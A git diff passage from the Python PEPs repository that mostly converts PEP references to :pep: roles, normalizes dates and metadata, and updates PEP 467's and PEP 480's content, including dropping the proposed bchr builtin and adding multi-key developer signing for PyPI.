@@ -191,34 +199,38 @@ Zero-initialised sequences can be created via sequence repetition:: However, this was also the case when the ``bytearray`` type was originally designed, and the decision was made to add explicit support for it in the type constructor. The immutable ``bytes`` type then inherited that feature -when it was introduced in PEP 3137. +when it was introduced in :pep:`3137`. This PEP isn't revisiting that original design decision, just changing the -spelling as users sometimes find the current behaviour of the binary sequence +spelling as users sometimes find the current behavior of the binary sequence constructors surprising. In particular, there's a reasonable case to be made that ``bytes(x)`` (where ``x`` is an integer) should behave like the -``bytes.fromord(x)`` proposal in this PEP. Providing both behaviours as separate +``bytes.fromint(x)`` proposal in this PEP. Providing both behaviors as separate class methods avoids that ambiguity. -Why use positional-only parameters? ------------------------------------ +Omitting the originally proposed builtin function +------------------------------------------------- + +When submitted to the Steering Council, this PEP proposed the introduction of +a ``bchr`` builtin (with the same behaviour as ``bytes.fromint``), recreating +the ``ord``/``chr``/``unichr`` trio from Python 2 under a different naming +scheme (``ord``/``bchr``/``chr``). -This is for consistency with the other methods on the affected types, and to -avoid having to devise sensible names for them. +The SC indicated they didn't think this functionality was needed often enough +to justify offering two ways of doing the same thing, especially when one of +those ways was a new builtin function. That part of the proposal was therefore +dropped as being redundant with the ``bytes.fromint`` alternate constructor. +Developers that use this method frequently will instead have the option to +define their own ``bchr = bytes.fromint`` aliases. -Open Questions -============== -* Given the "multiple ways to do it" outcome, is the proposed ``bchr`` builtin - actually worth adding, or is ``ord``/``bytes.fromord``/``chr`` a sufficiently - straightforward replacement for the Python 2 ``ord``/``chr``/``unichr`` - operations? +Scope limitation: memoryview +---------------------------- -* Do we add ``iterbytes`` to ``memoryview``, or modify - ``memoryview.cast()`` to accept ``'s'`` as a single-byte interpretation? Or - do we ignore ``memoryview`` for now and add it later? +Updating ``memoryview`` with the new item retrieval methods is outside the scope +of this PEP. References diff --git a/pep-0468.txt b/pep-0468.txt index de8defd9871..ea74c98d622 100644 --- a/pep-0468.txt +++ b/pep-0468.txt @@ -9,7 +9,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 05-Apr-2014 Python-Version: 3.6 -Post-History: 5-Apr-2014,8-Sep-2016 +Post-History: 05-Apr-2014, 08-Sep-2016 Resolution: https://mail.python.org/pipermail/python-dev/2016-September/146329.html diff --git a/pep-0469.txt b/pep-0469.txt index 5af6b88790a..1307bfc08d7 100644 --- a/pep-0469.txt +++ b/pep-0469.txt @@ -8,13 +8,13 @@ Type: Standards Track Content-Type: text/x-rst Created: 18-Apr-2014 Python-Version: 3.5 -Post-History: 2014-04-18, 2014-04-21 +Post-History: 18-Apr-2014, 21-Apr-2014 Abstract ======== -For Python 3, PEP 3106 changed the design of the ``dict`` builtin and the +For Python 3, :pep:`3106` changed the design of the ``dict`` builtin and the mapping API in general to replace the separate list based and iterator based APIs in Python 2 with a merged, memory efficient set and multiset view based API. This new style of dict iteration was also added to the Python 2.7 diff --git a/pep-0470.txt b/pep-0470.txt index 87b904465a9..9ad243a22ef 100644 --- a/pep-0470.txt +++ b/pep-0470.txt @@ -7,6 +7,7 @@ BDFL-Delegate: Paul Moore Discussions-To: distutils-sig@python.org Status: Final Type: Process +Topic: Packaging Content-Type: text/x-rst Created: 12-May-2014 Post-History: 14-May-2014, 05-Jun-2014, 03-Oct-2014, 13-Oct-2014, 26-Aug-2015 @@ -19,7 +20,7 @@ Abstract This PEP proposes the deprecation and removal of support for hosting files externally to PyPI as well as the deprecation and removal of the functionality -added by PEP 438, particularly rel information to classify different types of +added by :pep:`438`, particularly rel information to classify different types of links and the meta-tag to indicate API version. @@ -55,14 +56,14 @@ PyPI works, and other projects works, but this one specific one does not. They oftentimes do not realize who they need to contact in order to get this fixed or what their remediation steps are. -PEP 438 attempted to solve this issue by allowing projects to explicitly +:pep:`438` attempted to solve this issue by allowing projects to explicitly declare if they were using the repository features or not, and if they were not, it had the installers classify the links it found as either "internal", -"verifiable external" or "unverifiable external". PEP 438 was accepted and +"verifiable external" or "unverifiable external". :pep:`438` was accepted and implemented in pip 1.4 (released on Jul 23, 2013) with the final transition implemented in pip 1.5 (released on Jan 2, 2014). -PEP 438 was successful in bringing about more people to utilize PyPI's +:pep:`438` was successful in bringing about more people to utilize PyPI's repository features, an altogether good thing given the global CDN powering PyPI providing speed ups for a lot of people, however it did so by introducing a new point of confusion and pain for both the end users and the authors. @@ -119,9 +120,9 @@ Why Not PEP 438 or Similar? --------------------------- While the additional search location support has existed in pip and setuptools -for quite some time support for PEP 438 has only existed in pip since the 1.4 +for quite some time support for :pep:`438` has only existed in pip since the 1.4 version, and still has yet to be implemented in setuptools. The design of -PEP 438 did mean that users still benefited for projects which did not require +:pep:`438` did mean that users still benefited for projects which did not require external files even with older installers, however for projects which *did* require external files, users are still silently being given either potentially unreliable or, even worse, unsafe files to download. This system is also unique @@ -129,7 +130,7 @@ to Python as it arises out of the history of PyPI, this means that it is almost certain that this concept will be foreign to most, if not all users, until they encounter it while attempting to use the Python toolchain. -Additionally, the classification system proposed by PEP 438 has, in practice, +Additionally, the classification system proposed by :pep:`438` has, in practice, turned out to be extremely confusing to end users, so much so that it is a position of this PEP that the situation as it stands is completely untenable. The common pattern for a user with this system is to attempt to install a @@ -146,13 +147,13 @@ This UX failure exists for several reasons. #. If pip can locate files at all for a project on the Simple API it will simply use that instead of attempting to locate more. This is generally the right thing to do as attempting to locate more would erase a large part of - the benefit of PEP 438. This means that if a project *ever* uploaded a file + the benefit of :pep:`438`. This means that if a project *ever* uploaded a file that matches what the user has requested for install that will be used regardless of how old it is. -#. PEP 438 makes an implicit assumption that most projects would either upload +#. :pep:`438` makes an implicit assumption that most projects would either upload themselves to PyPI or would update themselves to directly linking to release files. While a large number of projects did ultimately decide to upload to - PyPI, some of them did so only because the UX around what PEP 438 was so bad + PyPI, some of them did so only because the UX around what :pep:`438` was so bad that they felt forced to do so. More concerning however, is the fact that very few projects have opted to directly and safely link to files and instead they still simply link to pages which must be scraped in order to @@ -162,7 +163,7 @@ This UX failure exists for several reasons. non-obvious. It requires the inclusion of a MD5 hash (for historical reasons) in the hash of the URL. If they do not include this then their files will be considered "unverified". -#. PEP 438 takes a security centric view and disallows any form of a global opt +#. :pep:`438` takes a security centric view and disallows any form of a global opt in for unverified projects. While this is generally a good thing, it creates extremely verbose and repetitive command invocations such as:: @@ -209,7 +210,7 @@ Deprecation and Removal of Link Spidering ========================================= A new hosting mode will be added to PyPI. This hosting mode will be called -``pypi-only`` and will be in addition to the three that PEP 438 has already +``pypi-only`` and will be in addition to the three that :pep:`438` has already given us which are ``pypi-explicit``, ``pypi-scrape``, ``pypi-scrape-crawl``. This new hosting mode will modify a project's simple api page so that it only lists the files which are directly hosted on PyPI and will not link to anything @@ -254,7 +255,7 @@ Summary of Changes Repository side --------------- -#. Deprecate and remove the hosting modes as defined by PEP 438. +#. Deprecate and remove the hosting modes as defined by :pep:`438`. #. Restrict simple API to only list the files that are contained within the repository. @@ -264,7 +265,7 @@ Client side #. Implement multiple repository support. #. Implement some mechanism for removing/disabling the default repository. -#. Deprecate / Remove PEP 438 +#. Deprecate / Remove :pep:`438` Impact @@ -288,7 +289,7 @@ those, 59 of them rely on external files that are safely hosted outside of PyPI and 931 of them rely on external files which are unsafely hosted outside of PyPI. This shows us that 1.5% of projects will be affected in some way by this change while 98.5% will continue to function as they always have. In addition, -only 5% of the projects affected are using the features provided by PEP 438 to +only 5% of the projects affected are using the features provided by :pep:`438` to safely host outside of PyPI while 95% of them are exposing their users to Remote Code Execution via a Man In The Middle attack. @@ -318,9 +319,9 @@ default list of repositories. However, part of this answer will also be explaining that the previous behavior of transparently including external links was both a security hazard (given that in most cases it allowed a MITM to execute arbitrary Python code on the end users machine) and a reliability -concern and that PEP 438 attempted to resolve this by making them explicitly -opt in, but that PEP 438 brought along with it a number of serious usability -issues. PEP 470 represents a simplification of the model to a model that many +concern and that :pep:`438` attempted to resolve this by making them explicitly +opt in, but that :pep:`438` brought along with it a number of serious usability +issues. :pep:`470` represents a simplification of the model to a model that many users will be familiar with, which is common amongst Linux distributions. @@ -386,7 +387,7 @@ can add to their installer to make the installation work. This feature has been removed from the scope of the PEP because it proved too difficult to develop a solution that avoided UX issues similar to those that -caused so many problems with the PEP 438 solution. If needed, a future PEP +caused so many problems with the :pep:`438` solution. If needed, a future PEP could revisit this idea. @@ -395,7 +396,7 @@ Keep the current classification system but adjust the options This PEP rejects several related proposals which attempt to fix some of the usability problems with the current system but while still keeping the general -gist of PEP 438. +gist of :pep:`438`. This includes: @@ -405,12 +406,12 @@ This includes: * Default to disallowing safely externally hosted files with only a global flag to enable them, but disallow unsafely hosted. -* Continue on the suggested path of PEP 438 and remove the option to unsafely +* Continue on the suggested path of :pep:`438` and remove the option to unsafely host externally but continue to allow the option to safely host externally. These proposals are rejected because: -* The classification system introduced in PEP 438 in an entirely unique concept +* The classification system introduced in :pep:`438` in an entirely unique concept to PyPI which is not generically applicable even in the context of Python packaging. Adding additional concepts comes at a cost. @@ -429,7 +430,7 @@ These proposals are rejected because: determine if a link is expected to fail or not. * The mechanism paints a very broad brush when enabling an option, while - PEP 438 attempts to limit this with per package options. However a project + :pep:`438` attempts to limit this with per package options. However a project that has existed for an extended period of time may oftentimes have several different URLs listed in their simple index. It is not unusual for at least one of these to no longer be under control of the project. While an diff --git a/pep-0471.txt b/pep-0471.txt index 52bde075e03..e48961f49fc 100644 --- a/pep-0471.txt +++ b/pep-0471.txt @@ -9,7 +9,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 30-May-2014 Python-Version: 3.5 -Post-History: 27-Jun-2014, 8-Jul-2014, 14-Jul-2014 +Post-History: 27-Jun-2014, 08-Jul-2014, 14-Jul-2014 Abstract @@ -293,7 +293,7 @@ direct support for a scandir-like function from core developers and others on the python-dev and python-ideas mailing lists. A sampling: * **python-dev**: a good number of +1's and very few negatives for - scandir and PEP 471 on `this June 2014 python-dev thread + scandir and :pep:`471` on `this June 2014 python-dev thread `_ * **Nick Coghlan**, a core Python developer: "I've had the local Red @@ -562,7 +562,7 @@ methods are enough and this information is already known. See `Ben Hoyt's July 2014 reply `_ to the discussion summarizing this and detailing why he thinks the -original PEP 471 proposal is "the right one" after all. +original :pep:`471` proposal is "the right one" after all. Return values being (name, stat_result) two-tuples @@ -674,11 +674,11 @@ Previous discussion * `First July 2014 thread Ben Hoyt started on python-dev `_ - to discuss his updates to PEP 471 + to discuss his updates to :pep:`471` * `Second July 2014 thread Ben Hoyt started on python-dev `_ - to discuss the remaining decisions needed to finalize PEP 471, + to discuss the remaining decisions needed to finalize :pep:`471`, specifically whether the ``DirEntry`` methods should follow symlinks by default diff --git a/pep-0472.txt b/pep-0472.txt index ddec13dce5e..900e511643c 100644 --- a/pep-0472.txt +++ b/pep-0472.txt @@ -216,7 +216,7 @@ Cons - Very strict. - Destroys ordering of the passed arguments. Preserving the - order would be possible with an OrderedDict as drafted by PEP-468 [#PEP-468]_. + order would be possible with an OrderedDict as drafted by :pep:`468`. - Does not allow use cases with mixed positional/keyword arguments such as ``a[1, 2, default=5]``. @@ -356,7 +356,7 @@ For the C2 case: P1 naturally maps to the traditional ``**kwargs`` behavior, however it breaks the convention that two or more entries for the index produce a tuple. P2 preserves this behavior, and additionally preserves the order. Preserving the -order would also be possible with an OrderedDict as drafted by PEP-468 [#PEP-468]_. +order would also be possible with an OrderedDict as drafted by :pep:`468`. The remaining cases are here shown: @@ -554,7 +554,7 @@ Relevance of ordering of keyword arguments As part of the discussion of this PEP, it's important to decide if the ordering information of the keyword arguments is important, and if indexes and keys can -be ordered in an arbitrary way (e.g. ``a[1,Z=3,2,R=4]``). PEP-468 [#PEP-468]_ +be ordered in an arbitrary way (e.g. ``a[1,Z=3,2,R=4]``). :pep:`468` tries to address the first point by proposing the use of an ordereddict, however one would be inclined to accept that keyword arguments in indexing are equivalent to kwargs in function calls, and therefore as of today equally @@ -635,9 +635,6 @@ References .. [#namedtuple] "namedtuple is not as good as it should be" (https://mail.python.org/pipermail/python-ideas/2013-June/021257.html) -.. [#PEP-468] "Preserving the order of \*\*kwargs in a function." - http://legacy.python.org/dev/peps/pep-0468/ - Copyright ========= diff --git a/pep-0474.txt b/pep-0474.txt index 59bce90ccb4..4e3490e8722 100644 --- a/pep-0474.txt +++ b/pep-0474.txt @@ -20,7 +20,7 @@ more accessible to new contributors, and easier to manage for core developers. This PEP does *not* propose any changes to the core development workflow -for CPython itself (see PEP 462 in relation to that). +for CPython itself (see :pep:`462` in relation to that). PEP Withdrawal @@ -28,7 +28,7 @@ PEP Withdrawal This PEP has been `withdrawn by the author `_ -in favour of the GitLab based proposal in PEP 507. +in favour of the GitLab based proposal in :pep:`507`. If anyone else would like to take over championing this PEP, contact the `core-workflow mailing list `_ @@ -102,7 +102,7 @@ but may be negotiable if a sufficiently compelling alternative is presented: the standard pull request workflows offered by those tools * SHOULD be open to customisation to meet the needs of CPython core development, including providing a potential path forward for the - proposed migration to a core reviewer model in PEP 462 + proposed migration to a core reviewer model in :pep:`462` The preference for self-hosting without ongoing fees rules out the free-as-in-beer providers like GitHub and BitBucket, in addition to the @@ -419,7 +419,7 @@ with the rollout of the following pilot deployment: services) * automatic linking of issue references in code review comments and commit messages to the corresponding issues on bugs.python.org -* draft updates to PEP 1 explaining the Kallithea-based PEP editing and +* draft updates to :pep:`1` explaining the Kallithea-based PEP editing and submission workflow The following items would be needed for a production migration, but there @@ -439,7 +439,7 @@ selected and the proposed pilot deployment is successful): * allowing the use of the GitHub and BitBucket pull request workflows to submit pull requests to the main Kallithea repo * allowing easy triggering of forced BuildBot runs based on Kallithea hosted - repos and pull requests (prior to the implementation of PEP 462, this + repos and pull requests (prior to the implementation of :pep:`462`, this would be intended for use with sandbox repos rather than the main CPython repo) @@ -449,7 +449,7 @@ Future Implications for CPython Core Development The workflow requirements for the main CPython development repository are significantly more complex than those for the repositories being discussed -in this PEP. These concerns are covered in more detail in PEP 462. +in this PEP. These concerns are covered in more detail in :pep:`462`. Given Guido's recommendation to replace Rietveld with a more actively maintained code review system, my current plan is to rewrite that PEP to diff --git a/pep-0475.txt b/pep-0475.txt index ac442bea4d6..3f812b90ba9 100644 --- a/pep-0475.txt +++ b/pep-0475.txt @@ -399,7 +399,7 @@ Closed issues: `_ * `subprocess: Popen.communicate() doesn't handle EINTR in some cases `_ -* `multiprocessing.util._eintr_retry doen't recalculate timeouts +* `multiprocessing.util._eintr_retry doesn't recalculate timeouts `_ * `file readline, readlines & readall methods can lose data on EINTR `_ diff --git a/pep-0477.txt b/pep-0477.txt index bb7520df241..d2514d4468e 100644 --- a/pep-0477.txt +++ b/pep-0477.txt @@ -2,14 +2,15 @@ PEP: 477 Title: Backport ensurepip (PEP 453) to Python 2.7 Version: $Revision$ Last-Modified: $Date$ -Author: Donald Stufft +Author: Donald Stufft , Nick Coghlan BDFL-Delegate: Benjamin Peterson Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 26-Aug-2014 -Post-History: 1-Sep-2014 +Post-History: 01-Sep-2014 Resolution: https://mail.python.org/pipermail/python-dev/2014-September/136238.html @@ -62,14 +63,14 @@ reasons: finally actually installing it first. Furthermore, alternative implementations of Python are recognizing the benefits -of PEP 453 and both PyPy and Jython have plans to backport ensurepip to their +of :pep:`453` and both PyPy and Jython have plans to backport ensurepip to their 2.7 runtimes. Automatic Invocation ==================== -PEP 453 has ``ensurepip`` automatically invoked by default in the ``Makefile`` +:pep:`453` has ``ensurepip`` automatically invoked by default in the ``Makefile`` and the Windows and OSX Installers. This allowed it to ensure that, by default, all users would get Python with pip already installed. This PEP however believes that while this is fine for the Python 2.7 Windows and Mac OS X diff --git a/pep-0478.txt b/pep-0478.txt index 2371494133f..1aa417c7328 100644 --- a/pep-0478.txt +++ b/pep-0478.txt @@ -69,6 +69,7 @@ including their release dates. - 3.5.7 final: March 18, 2019 - 3.5.8 candidate 1: September 9, 2019 - 3.5.8 candidate 2: October 12, 2019 +- 3.5.8 final: October 29, 2019 - 3.5.9 final: November 1, 2019 - 3.5.10 rc1: August 21, 2020 - 3.5.10 final: September 5, 2020 @@ -79,19 +80,19 @@ including their release dates. Features for 3.5 ================ -* PEP 441, improved Python zip application support -* PEP 448, additional unpacking generalizations -* PEP 461, "%-formatting" for bytes and bytearray objects -* PEP 465, a new operator ("@") for matrix multiplication -* PEP 471, os.scandir(), a fast new directory traversal function -* PEP 475, adding support for automatic retries of interrupted system calls -* PEP 479, change StopIteration handling inside generators -* PEP 484, the typing module, a new standard for type annotations -* PEP 485, math.isclose(), a function for testing approximate equality -* PEP 486, making the Windows Python launcher aware of virtual environments -* PEP 488, eliminating .pyo files -* PEP 489, a new and improved mechanism for loading extension modules -* PEP 492, coroutines with async and await syntax +* :pep:`441`, improved Python zip application support +* :pep:`448`, additional unpacking generalizations +* :pep:`461`, "%-formatting" for bytes and bytearray objects +* :pep:`465`, a new operator ("@") for matrix multiplication +* :pep:`471`, os.scandir(), a fast new directory traversal function +* :pep:`475`, adding support for automatic retries of interrupted system calls +* :pep:`479`, change StopIteration handling inside generators +* :pep:`484`, the typing module, a new standard for type annotations +* :pep:`485`, math.isclose(), a function for testing approximate equality +* :pep:`486`, making the Windows Python launcher aware of virtual environments +* :pep:`488`, eliminating .pyo files +* :pep:`489`, a new and improved mechanism for loading extension modules +* :pep:`492`, coroutines with async and await syntax Copyright diff --git a/pep-0479.txt b/pep-0479.txt index 4bb2e3321b2..44f4d75ae5f 100644 --- a/pep-0479.txt +++ b/pep-0479.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 15-Nov-2014 Python-Version: 3.5 -Post-History: 15-Nov-2014, 19-Nov-2014, 5-Dec-2014 +Post-History: 15-Nov-2014, 19-Nov-2014, 05-Dec-2014 Abstract @@ -55,7 +55,7 @@ is raised, a traceback is printed pinpointing the cause of the problem.) This is particularly pernicious in combination with the ``yield from`` -construct of PEP 380 [1]_, as it breaks the abstraction that a +construct of :pep:`380`, as it breaks the abstraction that a subgenerator may be factored out of a generator. That PEP notes this limitation, but notes that "use cases for these [are] rare to non- existent". Unfortunately while intentional use is rare, it is easy to @@ -580,9 +580,6 @@ by a simple ``return``. References ========== -.. [1] PEP 380 - Syntax for Delegating to a Subgenerator - (https://www.python.org/dev/peps/pep-0380) - .. [2] Initial mailing list comment (https://mail.python.org/pipermail/python-ideas/2014-November/029906.html) diff --git a/pep-0480-1.png b/pep-0480-1.png index a31edf1702d..fe486abfd01 100644 Binary files a/pep-0480-1.png and b/pep-0480-1.png differ diff --git a/pep-0480.txt b/pep-0480.txt index 3a168755775..669644fda6b 100644 --- a/pep-0480.txt +++ b/pep-0480.txt @@ -4,11 +4,12 @@ Version: $Revision$ Last-Modified: $Date$ Author: Trishank Karthik Kuppusamy , Vladimir Diaz , - Justin Cappos -BDFL-Delegate: Richard Jones -Discussions-To: DistUtils mailing list -Status: Deferred + Justin Cappos , Marina Moore +BDFL-Delegate: Donald Stufft +Discussions-To: https://discuss.python.org/t/5666 +Status: Draft Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Requires: 458 Created: 08-Oct-2014 @@ -17,22 +18,22 @@ Created: 08-Oct-2014 Abstract ======== -Proposed is an extension to PEP 458 that adds support for end-to-end signing +Proposed is an extension to :pep:`458` that adds support for end-to-end signing and the maximum security model. End-to-end signing allows both PyPI and developers to sign for the distributions that are downloaded by clients. The -minimum security model proposed by PEP 458 supports continuous delivery of +minimum security model proposed by :pep:`458` supports continuous delivery of distributions (because they are signed by online keys), but that model does not protect distributions in the event that PyPI is compromised. In the minimum security model, attackers who have compromised the signing keys stored on PyPI Infrastructure may sign for malicious distributions. The maximum security model, -described in this PEP, retains the benefits of PEP 458 (e.g., immediate +described in this PEP, retains the benefits of :pep:`458` (e.g., immediate availability of distributions that are uploaded to PyPI), but additionally ensures that end-users are not at risk of installing forged software if PyPI is compromised. This PEP requires some changes to the PyPI infrastructure, and some suggested changes for developers who wish to participate in end-to-end signing. These -changes include updating the metadata layout from PEP 458 to include delegations +changes include updating the metadata layout from :pep:`458` to include delegations to developer keys, adding a process to register developer keys with PyPI, and a change in the upload workflow for developers who take advantage of end-to-end signing. All of these changes are described in detail later in this PEP. Package @@ -40,10 +41,10 @@ managers that wish to take advantage of end-to-end signing do not need to do any additional work beyond what is required to consume metadata described in PEP 458. -This PEP discusses the changes made to PEP 458 but excludes its informational +This PEP discusses the changes made to :pep:`458` but excludes its informational elements to primarily focus on the maximum security model. For example, an -overview of The Update Framework or the basic mechanisms in PEP 458 are not -covered here. The changes to PEP 458 include modifications to the snapshot +overview of The Update Framework or the basic mechanisms in :pep:`458` are not +covered here. The changes to :pep:`458` include modifications to the snapshot process, key compromise analysis, auditing snapshots, and the steps that should be taken in the event of a PyPI compromise. The signing and key management process that PyPI MAY RECOMMEND is discussed but not strictly defined. How the @@ -56,20 +57,24 @@ distributions. PEP Status ========== -Due to the amount of work required to implement this PEP, it is deferred until -appropriate funding can be secured to implement the PEP. +The community discussed this PEP from 2014 to 2018. Due to the amount +of work required to implement this PEP, discussion was deferred until +after approval for the precursor step in :pep:`458`. As of mid-2020 PEP +458 is approved and implementation is in progress, and the PEP authors +aim to gain approval so they can secure appropriate funding for +implementation. Rationale ========= -PEP 458 [1]_ proposes how PyPI should be integrated with The Update Framework +:pep:`458` proposes how PyPI should be integrated with The Update Framework (TUF) [2]_. It explains how modern package managers like pip can be made more secure, and the types of attacks that can be prevented if PyPI is modified on the server side to include TUF metadata. Package managers can reference the TUF metadata available on PyPI to download distributions more securely. -PEP 458 also describes the metadata layout of the PyPI repository and employs +:pep:`458` also describes the metadata layout of the PyPI repository and employs the minimum security model, which supports continuous delivery of projects and uses online cryptographic keys to sign the distributions uploaded by developers. Although the minimum security model guards against most attacks on @@ -77,9 +82,9 @@ software updaters [5]_ [7]_, such as mix-and-match and extraneous dependencies attacks, it can be improved to support end-to-end signing and to prohibit forged distributions in the event that PyPI is compromised. -PEP 480 builds on PEP 458 by adding support for developer signing, and +:pep:`480` builds on :pep:`458` by adding support for developer signing, and reducing the reliance on online keys to prevent malicious distributions. -The main strength of PEP 458 and the minimum security model is the automated +The main strength of :pep:`458` and the minimum security model is the automated and simplified release process: developers may upload distributions and then have PyPI sign for their distributions. Much of the release process is handled in an automated fashion by online roles and this approach requires storing @@ -118,13 +123,11 @@ Definitions The keywords "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be -interpreted as described in RFC `2119`__. - -__ http://www.ietf.org/rfc/rfc2119.txt +interpreted as described in :rfc:`2119`. This PEP focuses on integrating TUF with PyPI; however, the reader is encouraged to read about TUF's design principles [2]_. It is also RECOMMENDED -that the reader be familiar with the TUF specification [3]_, and PEP 458 [1]_ +that the reader be familiar with the TUF specification [3]_, and :pep:`458` (which this PEP is extending). The following terms used in this PEP are defined in the Python Packaging @@ -196,7 +199,7 @@ developer roles are now supported and that three new delegated roles exist: *claimed*, *recently-claimed*, and *unclaimed*. The *bins* role from the minimum security model has been renamed *unclaimed* and can contain any projects that have not been added to *claimed*. The *unclaimed* role functions -just as before (i.e., as explained in PEP 458, projects added to this role are +just as before (i.e., as explained in :pep:`458`, projects added to this role are signed by PyPI with an online key). Offline keys provided by developers ensure the strength of the maximum security model over the minimum model. Although the minimum security model supports continuous delivery of projects, all @@ -205,6 +208,7 @@ packages in the minimum security model, but not in the maximum model, without also compromising a developer's key. .. image:: pep-0480-1.png + :class: invert-in-dark-mode Figure 1: An overview of the metadata layout in the maximum security model. The maximum security model supports continuous delivery and survivable key @@ -236,11 +240,13 @@ downloaded by clients. PyPI is trusted to make uploaded projects available to clients (PyPI signs the metadata for this part of the process), and developers sign the distributions that they upload to PyPI. -In order to delegate trust to a project, developers are required to submit a -public key to PyPI. PyPI takes the project's public key and adds it to parent +In order to delegate trust to a project, developers are required to submit at +least one public key to PyPI. Developers may submit multiple public keys for +the same project (for example, one key for each maintainer of the project). +PyPI takes all of the project's public keys and adds them to parent metadata that PyPI then signs. After the initial trust is established, developers are required to sign distributions that they upload to PyPI using -the public key's corresponding private key. The signed TUF metadata that +at least one public key's corresponding private key. The signed TUF metadata that developers upload to PyPI includes information like the distribution's file size and hash, which package managers use to verify distributions that are downloaded. @@ -341,14 +347,11 @@ distributions, and prevents MITM attacks on usernames and passwords. __ https://github.com/pypa/twine -Distutils ---------- - -`Distutils`__ MAY be modified to sign metadata and to upload signed distributions -to PyPI. Distutils comes packaged with CPython and is the most widely used -tool for uploading distributions to PyPI. +Build backends +-------------- -__ https://docs.python.org/2/distutils/index.html#distutils-index +Build backends MAY be modified to sign metadata and to upload signed +distributions to PyPI. Automated Signing Solution @@ -368,7 +371,8 @@ A default, PyPI-mediated key management and package signing solution that is `transparent`__ to developers and does not require a key escrow (sharing of encrypted private keys with PyPI) is RECOMMENDED for the signing tools. Additionally, the signing tools SHOULD circumvent the sharing of private keys -across multiple machines of each developer. +across multiple machines of each developer. This means that the key management +solution SHOULD support multiple keys for each project. __ https://en.wikipedia.org/wiki/Transparency_%28human%E2%80%93computer_interaction%29 @@ -380,6 +384,8 @@ follow to upload a distribution to PyPI: 3. Optional: Add a new identity to the developer's PyPI user account from a second machine (after a password prompt). 4. Upload project. +5. Optional: Other maintainers associated with the project may log in and + enter a secondary password to add their identity to the project. Step 1 is the normal procedure followed by developers to `register a PyPI project`__. @@ -392,7 +398,7 @@ to PyPI, and signs the TUF metadata that is generated for the distribution. Optionally adding a new identity from a second machine, by simply entering a password, in step 3 also generates an encrypted private key file and uploads an Ed25519 public key to PyPI. Separate identities MAY be created to allow a -developer, or other project maintainers, to sign releases on multiple machines. +developer, to sign releases on multiple machines. An existing verified identity (its public key is contained in project metadata or has been uploaded to PyPI) signs for new identities. By default, project metadata has a signature threshold of "1" and other verified identities may @@ -402,15 +408,19 @@ Step 4 uploads the distribution file and TUF metadata to PyPI. The "Snapshot Process" section discusses in detail the procedure followed by developers to upload a distribution to PyPI. +Step 5 allows other maintainers to generate an encrypted key file, in a similar +manner to step 2. These keys SHOULD be uploaded to PyPI and added to the TUF +metadata. This key MAY be used to upload future releases of the project. + Generation of cryptographic files and signatures is transparent to the developers in the default case: developers need not be aware that packages are -automatically signed. However, the signing tools should be flexible; a single -project key may also be shared between multiple machines if manual key -management is preferred (e.g., ssh-copy-id). +automatically signed. However, the signing tools should be flexible; developers +may want to generate their own keys and handle the key management themselves. +In this case, the developers may simply upload their public key(s) to PyPI. The `repository`__ and `developer`__ TUF tools currently support all of the recommendations previously mentioned, except for the automated signing -solution, which SHOULD be added to Distutils, Twine, and other third-party +solution, which SHOULD be added to Distlib, Twine, and other third-party signing tools. The automated signing solution calls available repository tool functions to sign metadata and to generate the cryptographic key files. @@ -871,7 +881,6 @@ an online key. References ========== -.. [1] https://www.python.org/dev/peps/pep-0458/ .. [2] https://theupdateframework.io/papers/survivable-key-compromise-ccs2010.pdf .. [3] https://github.com/theupdateframework/tuf/blob/develop/docs/tuf-spec.txt .. [4] https://packaging.python.org/glossary @@ -894,9 +903,10 @@ conclusions or recommendations expressed in this material are those of the author(s) and do not necessarily reflect the views of the National Science Foundation. -We thank Nick Coghlan, Daniel Holth, Donald Stufft, and the distutils-sig -community in general for helping us to think about how to usably and -efficiently integrate TUF with PyPI. +We thank Nick Coghlan, Daniel Holth, Donald Stufft, Sumana +Harihareswara, and the distutils-sig community in general for helping +us to think about how to usably and efficiently integrate TUF with +PyPI. Roger Dingledine, Sebastian Hahn, Nick Mathewson, Martin Peck and Justin Samuel helped us to design TUF from its predecessor Thandy of the Tor project. diff --git a/pep-0481.txt b/pep-0481.txt index 6bd6ede5f69..f693e66ff7c 100644 --- a/pep-0481.txt +++ b/pep-0481.txt @@ -14,12 +14,12 @@ Abstract ======== .. note:: This PEP has been withdrawn, if you're looking for the PEP - documenting the move to Github, please refer to PEP 512. + documenting the move to Github, please refer to :pep:`512`. This PEP proposes migrating the repository hosting of CPython and the supporting repositories to Git and Github. It also proposes adding Phabricator as an alternative to Github Pull Requests to handle reviewing changes. This -particular PEP is offered as an alternative to PEP 474 and PEP 462 which aims +particular PEP is offered as an alternative to :pep:`474` and :pep:`462` which aims to achieve the same overall benefits but restricts itself to tools that support Mercurial and are completely Open Source. diff --git a/pep-0482.txt b/pep-0482.txt index 8f6d618c474..57860e736ed 100644 --- a/pep-0482.txt +++ b/pep-0482.txt @@ -3,19 +3,19 @@ Title: Literature Overview for Type Hints Version: $Revision$ Last-Modified: $Date$ Author: Łukasz Langa -Discussions-To: Python-Ideas +Discussions-To: python-ideas@python.org Status: Final Type: Informational Content-Type: text/x-rst Created: 08-Jan-2015 Post-History: -Resolution: + Abstract ======== This PEP is one of three related to type hinting. This PEP gives a -literature overview of related work. The main spec is PEP 484. +literature overview of related work. The main spec is :pep:`484`. Existing Approaches for Python diff --git a/pep-0483.txt b/pep-0483.txt index 85285f03142..af145dd1603 100644 --- a/pep-0483.txt +++ b/pep-0483.txt @@ -3,18 +3,18 @@ Title: The Theory of Type Hints Version: $Revision$ Last-Modified: $Date$ Author: Guido van Rossum , Ivan Levkivskyi -Discussions-To: Python-Ideas +Discussions-To: python-ideas@python.org Status: Final Type: Informational Content-Type: text/x-rst Created: 19-Dec-2014 Post-History: -Resolution: + Abstract ======== -This PEP lays out the theory referenced by PEP 484. +This PEP lays out the theory referenced by :pep:`484`. Introduction @@ -38,10 +38,10 @@ Notational conventions ``ti`` or ``tj`` to refer to "any of ``t1``, ``t2``, etc." - ``T``, ``U`` etc. are type variables (defined with ``TypeVar()``, see below). - Objects, classes defined with a class statement, and instances are - denoted using standard PEP 8 conventions. + denoted using standard :pep:`8` conventions. - the symbol ``==`` applied to types in the context of this 